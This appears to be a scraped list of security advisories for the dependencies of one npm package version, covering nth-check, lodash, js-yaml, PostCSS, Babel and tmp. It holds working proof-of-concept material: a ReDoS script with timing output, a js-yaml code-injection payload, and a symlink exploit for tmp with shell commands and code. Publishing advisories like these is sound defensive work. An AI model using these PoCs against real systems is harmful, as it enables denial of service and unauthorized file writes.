All the vulnerabilities related to the version 5.0.0 of the package
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))?
with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
Prototype Pollution in lodash
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick
, set
, setWith
, update
, updateWith
, and zipObjectDeep
allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.
This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
Command Injection in lodash
lodash
versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
Denial of Service in js-yaml
Versions of js-yaml
prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.
Upgrade to version 3.13.0.
Code Injection in js-yaml
Versions of js-yaml
prior to 3.13.1 are vulnerable to Code Injection. The load()
function may execute arbitrary code injected through a malicious YAML file. Objects that have toString
as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the load()
function. The safeLoad()
function is unaffected.
An example payload is
{ toString: !<tag:yaml.org,2002:js/function> 'function (){return Date.now()}' } : 1
which returns the object
{
"1553107949161": 1
}
Upgrade to version 3.13.1.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups
When using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the .replace
method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to .replace
).
Your generated code is vulnerable if all the following conditions are true:
.replace
method on a regular expression that contains named capturing groups.replace
If you are using @babel/preset-env
with the targets
option, the transform that injects the vulnerable code is automatically enabled if:
You can verify what transforms @babel/preset-env
is using by enabling the debug
option.
This problem has been fixed in @babel/helpers
and @babel/runtime
7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on @babel/helpers
, and instead you depend on @babel/core
(which itself depends on @babel/helpers
). Upgrading to @babel/core
7.26.10 is not required, but it guarantees that you are on a new enough @babel/helpers
version.
Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.
If you are passing user-provided strings as the second argument of .replace
on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring $<
if it's then not followed by >
(possibly with other characters in between).
This vulnerability was reported and fixed in https://github.com/babel/babel/pull/17173.
tmp allows arbitrary temporary file / directory write via symbolic link dir
parameter
tmp@0.2.3
is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir
parameter.
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath
does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir
parameter points to a symlink that resolves to a folder outside the tmpDir
, it's possible to bypass the _assertIsRelative
check used in _assertAndSanitizeOptions
:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir
is possible.
Tested on a Linux machine.
tmpDir
that points to a directory outside of itmkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
ls -lha $HOME/mydir1 | grep "tmp-"
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
$HOME/mydir1
(outside the tmpDir
):ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync
(or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Arbitrary temporary file / directory write via symlink